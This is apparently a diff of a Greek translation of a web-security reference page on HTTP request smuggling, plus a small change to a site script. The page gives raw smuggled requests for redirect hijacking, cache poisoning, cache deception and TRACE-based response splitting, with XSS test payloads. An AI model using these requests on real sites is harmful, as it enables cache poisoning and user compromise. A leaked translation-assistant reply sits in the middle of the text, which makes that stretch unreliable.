+Οι εφαρμογές συχνά κάνουν redirect από ένα URL σε άλλο χρησιμοποιώντας το hostname από το `Host` header στο URL του redirect. Αυτό είναι συνηθισμένο σε web servers όπως Apache και IIS. Για παράδειγμα, το αίτημα για έναν φάκελο χωρίς trailing slash οδηγεί σε redirect για να προστεθεί το slash:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Οδηγεί σε:
+Έχει ως αποτέλεσμα:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Αν και φαινομενικά ακίνδυνη, αυτή η συμπεριφορά μπορεί να εκμεταλλευθεί χρησιμοποιώντας HTTP request smuggling για να ανακατευθύνει χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:
+Παρόλο που φαίνεται ακίνδυνη, αυτή η συμπεριφορά μπορεί να χειραγωγηθεί χρησιμοποιώντας το HTTP request smuggling για να ανακατευθύνει τους χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -560,7 +609,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε έναν attacker-controlled website:
+Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε έναν ιστότοπο που ελέγχεται από τον επιτιθέμενο:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -572,17 +621,17 @@ Host: vulnerable-website.com
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript υποκλέπτεται. Ο επιτιθέμενος μπορεί ενδεχομένως να θέσει σε κίνδυνο τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.
+Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript υποκλέπτεται. Ο επιτιθέμενος μπορεί δυνητικά να συμβιβάσει τον χρήστη σερβίροντας κακόβουλο JavaScript ως απάντηση.
 
 ### Εκμετάλλευση Web Cache Poisoning μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Το Web cache poisoning μπορεί να πραγματοποιηθεί εάν κάποιο στοιχείο της υποδομής front-end κάνει cache περιεχόμενο, συνήθως για βελτίωση της απόδοσης. Με την παραποίηση της απάντησης του server, είναι δυνατό να poison the cache.
+Web cache poisoning μπορεί να εκτελεστεί αν οποιοδήποτε στοιχείο της **front-end υποδομής αποθηκεύει περιεχόμενο**, συνήθως για βελτίωση της απόδοσης. Με την παραποίηση της απάντησης του server, είναι δυνατόν να **poison the cache**.
 
-Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του server μπορούν να τροποποιηθούν ώστε να επιστρέφουν 404 error (ανατρέξτε στο [Basic Examples](#basic-examples)). Παρομοίως, είναι εφικτό να ξεγελάσουμε τον server ώστε να επιστρέψει το περιεχόμενο του /index.html ως απάντηση σε αίτημα για /static/include.js. Κατόπιν, το περιεχόμενο του /static/include.js αντικαθίσταται στην cache με αυτό του /index.html, καθιστώντας το /static/include.js μη προσβάσιμο στους χρήστες, πιθανώς προκαλώντας Denial of Service (DoS).
+Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του server μπορούν να αλλαχθούν ώστε να επιστρέψουν σφάλμα 404 (ανατρέξτε στα [Basic Examples](#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσετε τον server ώστε να παραδώσει το περιεχόμενο του `/index.html` ως απάντηση σε αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο του `/static/include.js` αντικαθίσταται στην cache με εκείνο του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, κάτι που ενδέχεται να οδηγήσει σε Denial of Service (DoS).
 
-Η τεχνική αυτή γίνεται ιδιαίτερα ισχυρή αν εντοπιστεί μια ευπάθεια τύπου Open Redirect ή υπάρχει on-site redirect προς ένα open redirect. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το cached περιεχόμενο του /static/include.js με ένα script υπό τον έλεγχο του επιτιθέμενου, ουσιαστικά επιτρέποντας ένα ευρείας κλίμακας Cross-Site Scripting (XSS) εναντίον όλων των clients που ζητούν το ενημερωμένο /static/include.js.
+Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή αν ανακαλυφθεί μια **Open Redirect vulnerability** ή αν υπάρχει **on-site redirect to an open redirect**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν ώστε να αντικατασταθεί το αποθηκευμένο στην cache περιεχόμενο του `/static/include.js` με ένα script υπό τον έλεγχο του επιτιθέμενου, ουσιαστικά επιτρέποντας μια εκτεταμένη Cross-Site Scripting (XSS) επίθεση εναντίον όλων των clients που ζητούν το ενημερωμένο `/static/include.js`.
 
-Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
+Παρακάτω ακολουθεί μια απεικόνιση της εκμετάλλευσης του **cache poisoning combined with an on-site redirect to open redirect**. Ο στόχος είναι να αλλαχθεί το περιεχόμενο της cache του `/static/include.js` ώστε να εξυπηρετεί JavaScript κώδικα υπό τον έλεγχο του επιτιθέμενου:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -600,20 +649,20 @@ Content-Length: 10
 
 x=1
 ```
-Σημειώστε το ενσωματωμένο request που στοχεύει το `/post/next?postId=3`. Αυτό το request θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την τιμή του **Host header value** για να καθορίσει το domain. Με την αλλαγή του **Host header**, ο attacker μπορεί να ανακατευθύνει το request στο domain του (**on-site redirect to open redirect**).
+Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την τιμή του **Host header** για να προσδιορίσει τον domain. Αλλάζοντας το **Host header**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο δικό του domain (**on-site redirect to open redirect**).
 
-Μετά από επιτυχημένο **socket poisoning**, πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το request θα μολυνθεί από το προηγούμενο request τύπου **on-site redirect to open redirect** και θα προσπελάσει το περιεχόμενο του script που ελέγχεται από τον attacker.
+Μετά από επιτυχή **socket poisoning**, πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα φέρει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.
 
-Στη συνέχεια, κάθε request για το `/static/include.js` θα εξυπηρετήσει το περιεχόμενο που είναι αποθηκευμένο στην cache από το script του attacker, εκτοξεύοντας ουσιαστικά μια ευρεία XSS επίθεση.
+Στη συνέχεια, οποιοδήποτε αίτημα για το `/static/include.js` θα επιστρέφει το αποθηκευμένο (cached) περιεχόμενο του script του επιτιθέμενου, εκτοξεύοντας ουσιαστικά μια ευρεία επίθεση XSS.
 
-### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Χρήση HTTP request smuggling για web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
-> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;**
+> **What is the difference between web cache poisoning and web cache deception?**
 >
-> - Στην **web cache poisoning**, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
-> - Στην **web cache deception**, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στην cache, και ο attacker στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache.
+> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
+> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
 
-Ο attacker δημιουργεί ένα smuggled request που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένου χρήστη. Εξετάστε το ακόλουθο παράδειγμα:
+Ο επιτιθέμενος δημιουργεί ένα smuggled request που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένου χρήστη. Εξετάστε το ακόλουθο παράδειγμα:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -624,17 +673,17 @@ x=1
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Αν αυτή η smuggled request μολύνει μια cache entry που προορίζεται για static content (π.χ. `/someimage.png`), τα ευαίσθητα δεδομένα του θύματος από `/private/messages` μπορεί να αποθηκευτούν κάτω από την cache entry του static content. Συνεπώς, ο attacker θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα cached sensitive data.
+Εάν αυτό το smuggled request δηλητηριάσει ένα cache entry προοριζόμενο για static content (π.χ., `/someimage.png`), τα ευαίσθητα δεδομένα του θύματος από το `/private/messages` μπορεί να αποθηκευτούν στο cache entry του static content. Κατά συνέπεια, ο επιτιθέμενος θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα αποθηκευμένα στην cache ευαίσθητα δεδομένα.
 
-### Κατάχρηση TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Κατάχρηση του TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**In this post**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο server έχει τη μέθοδο TRACE ενεργοποιημένη, θα μπορούσε να είναι δυνατό να την καταχραστεί κανείς με HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα αντικατοπτρίζει οποιοδήποτε header σταλεί στον server ως μέρος του body της response. Για παράδειγμα:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι εάν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι εφικτό να την καταχραστεί κάποιος με HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα (header) αποσταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Παρακαλώ επικολλήστε εδώ το περιεχόμενο (π.χ. το αρχείο README.md) που θέλετε να μεταφράσω. Θα μεταφράσω τα σχετικά αγγλικά στο Ελληνικά διατηρώντας ακριβώς την ίδια markdown/HTML σύνταξη, και χωρίς να μεταφράσω κώδικα, ονομασίες τεχνικών, πλατφόρμες cloud, links, paths ή ειδικά tags/refs όπως καθορίσατε.
+Please paste the README.md content you want translated. I will return the Markdown with the English → Greek translation, following your rules.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -645,17 +694,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Ένα παράδειγμα για το πώς να καταχραστείτε αυτή τη συμπεριφορά θα ήταν να **smuggle first a HEAD request**. Αυτό το request θα απαντηθεί μόνο με τα **headers** ενός GET request (**`Content-Type`** ανάμεσά τους). Και να smuggle **immediately after the HEAD a TRACE request**, το οποίο θα **αντανακλά τα αποσταλμένα δεδομένα**.\
-Καθώς η HEAD response θα περιέχει ένα `Content-Length` header, η **response του TRACE request θα αντιμετωπιστεί ως το σώμα της HEAD response, επομένως αντανακλώντας αυθαίρετα δεδομένα** στην απάντηση.\
-Αυτή η απάντηση θα σταλεί στο επόμενο request μέσω της σύνδεσης, οπότε αυτό θα μπορούσε να **χρησιμοποιηθεί σε ένα cached JS αρχείο για παράδειγμα για να εισάγει αυθαίρετο JS code**.
+Ένα παράδειγμα για το πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά θα ήταν να **smuggle πρώτα ένα HEAD request**. Αυτό το request θα απαντηθεί μόνο με τα **headers** ενός GET request (**`Content-Type`** μεταξύ αυτών). Και να smuggle **αμέσως μετά το HEAD ένα TRACE request**, το οποίο θα είναι **αντικατοπτρίζοντας τα αποσταλμένα δεδομένα**.\
+Καθώς η απάντηση του HEAD θα περιέχει ένα header `Content-Length`, η **απάντηση του TRACE request θα θεωρηθεί ως το body της απάντησης του HEAD, συνεπώς αντικατοπτρίζοντας αυθαίρετα δεδομένα** στην απάντηση.\
+Αυτή η απάντηση θα σταλεί στο επόμενο request πάνω στη σύνδεση, οπότε αυτό θα μπορούσε να **χρησιμοποιηθεί σε ένα cached JS αρχείο για παράδειγμα για την εισαγωγή αυθαίρετου JS κώδικα**.
 
 ### Κατάχρηση του TRACE μέσω HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Συνέχοντας το [**this post**](https://portswigger.net/research/trace-desync-attack) προτείνεται ένας άλλος τρόπος καταχρήσης της μεθόδου TRACE. Όπως αναφέρθηκε, smuggling a HEAD request και ένα TRACE request είναι δυνατόν να **ελεγχθούν κάποια αντανακλώμενα δεδομένα** στην απάντηση στο HEAD request. Το μήκος του σώματος της HEAD request υποδεικνύεται βασικά στο `Content-Length` header και σχηματίζεται από την απάντηση στο TRACE request.
+Συνιστάται να ακολουθήσετε [**this post**](https://portswigger.net/research/trace-desync-attack) για έναν άλλο τρόπο κατάχρησης της μεθόδου TRACE. Όπως αναφέρθηκε, με το smuggling ενός HEAD request και ενός TRACE request είναι δυνατό να **ελεγχθούν κάποια αντικατοπτριζόμενα δεδομένα** στην απάντηση του HEAD request. Το μήκος του body του HEAD request υποδεικνύεται ουσιαστικά από το header `Content-Length` και σχηματίζεται από την απάντηση στο TRACE request.
 
-Επομένως, η νέα ιδέα είναι ότι, γνωρίζοντας αυτό το `Content-Length` και τα δεδομένα που δίνονται στην απάντηση του TRACE, είναι δυνατόν να κάνετε την απάντηση του TRACE να περιέχει μια έγκυρη HTTP response μετά το τελευταίο byte που υποδεικνύει το `Content-Length`, επιτρέποντας σε έναν attacker να ελέγξει πλήρως το request προς την επόμενη response (το οποίο θα μπορούσε να χρησιμοποιηθεί για να εκτελέσει cache poisoning).
+Συνεπώς, η νέα ιδέα είναι ότι, γνωρίζοντας αυτό το `Content-Length` και τα δεδομένα που παρέχονται στην απάντηση του TRACE, είναι δυνατό να κάνετε ώστε η απάντηση του TRACE να περιέχει μια έγκυρη HTTP response μετά το τελευταίο byte που ορίζεται από το `Content-Length`, επιτρέποντας σε έναν επιτιθέμενο να ελέγξει πλήρως το request για την επόμενη απάντηση (που θα μπορούσε να χρησιμοποιηθεί για να πραγματοποιήσει cache poisoning).
 
-Παράδειγμα:
+Example:
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -674,7 +723,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Θα δημιουργήσει αυτές τις απαντήσεις (παρατήρησε πώς η HEAD απόκριση έχει Content-Length, κάνοντας την TRACE απόκριση μέρος του σώματος της HEAD και μόλις το HEAD Content-Length τελειώσει, μια έγκυρη HTTP απόκριση smuggled):
+Θα δημιουργήσει αυτές τις responses (παρατήρησε πώς η HEAD response έχει ένα Content-Length που κάνει την TRACE response μέρος του HEAD body και, μόλις το HEAD Content-Length τελειώσει, μια έγκυρη HTTP response smuggled):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -695,16 +744,16 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### Εξοπλίζοντας το HTTP Request Smuggling με HTTP Response Desynchronisation
+### Οπλοποίηση του HTTP Request Smuggling με HTTP Response Desynchronisation
 
-Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε; Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης:
+Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε; Δοκιμάστε αυτήν την άλλη μέθοδο εκμετάλλευσης:
 
 
 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}
 
-### Άλλες τεχνικές HTTP Request Smuggling
+### Άλλες Τεχνικές HTTP Request Smuggling
 
 - Browser HTTP Request Smuggling (Client Side)
 
@@ -809,14 +858,14 @@ table.add(req)
 ```
 ## Εργαλεία
 
-- HTTP Hacker (Burp BApp Store) – οπτικοποιεί τη συνένωση/πλαισίωση και τη χαμηλού επιπέδου συμπεριφορά του HTTP
+- HTTP Hacker (Burp BApp Store) – οπτικοποιεί την concatenation/framing και τη χαμηλού επιπέδου συμπεριφορά του HTTP
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική, χρήσιμος για την εύρεση ασυνήθιστων αποκλίσεων request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι grammar-based HTTP Fuzzer χρήσιμο για την ανίχνευση περίεργων ασυνεπειών στο request smuggling.
 
 ## Αναφορές
 
@@ -829,10 +878,11 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Προσοχή στο false false‑positive: πώς να διακρίνετε το HTTP pipelining από το request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Προσοχή στα ψευδώς‑θετικά: πώς να διακρίνετε το HTTP pipelining από το request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
 
 
 {{#include ../../banners/hacktricks-training.md}}

theme/sponsor.js

@@ -15,7 +15,8 @@
   var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
 
   async function getSponsor() {
-    const url = "https://book.hacktricks.wiki/sponsor"
+    const currentUrl = encodeURIComponent(window.location.href);
+    const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {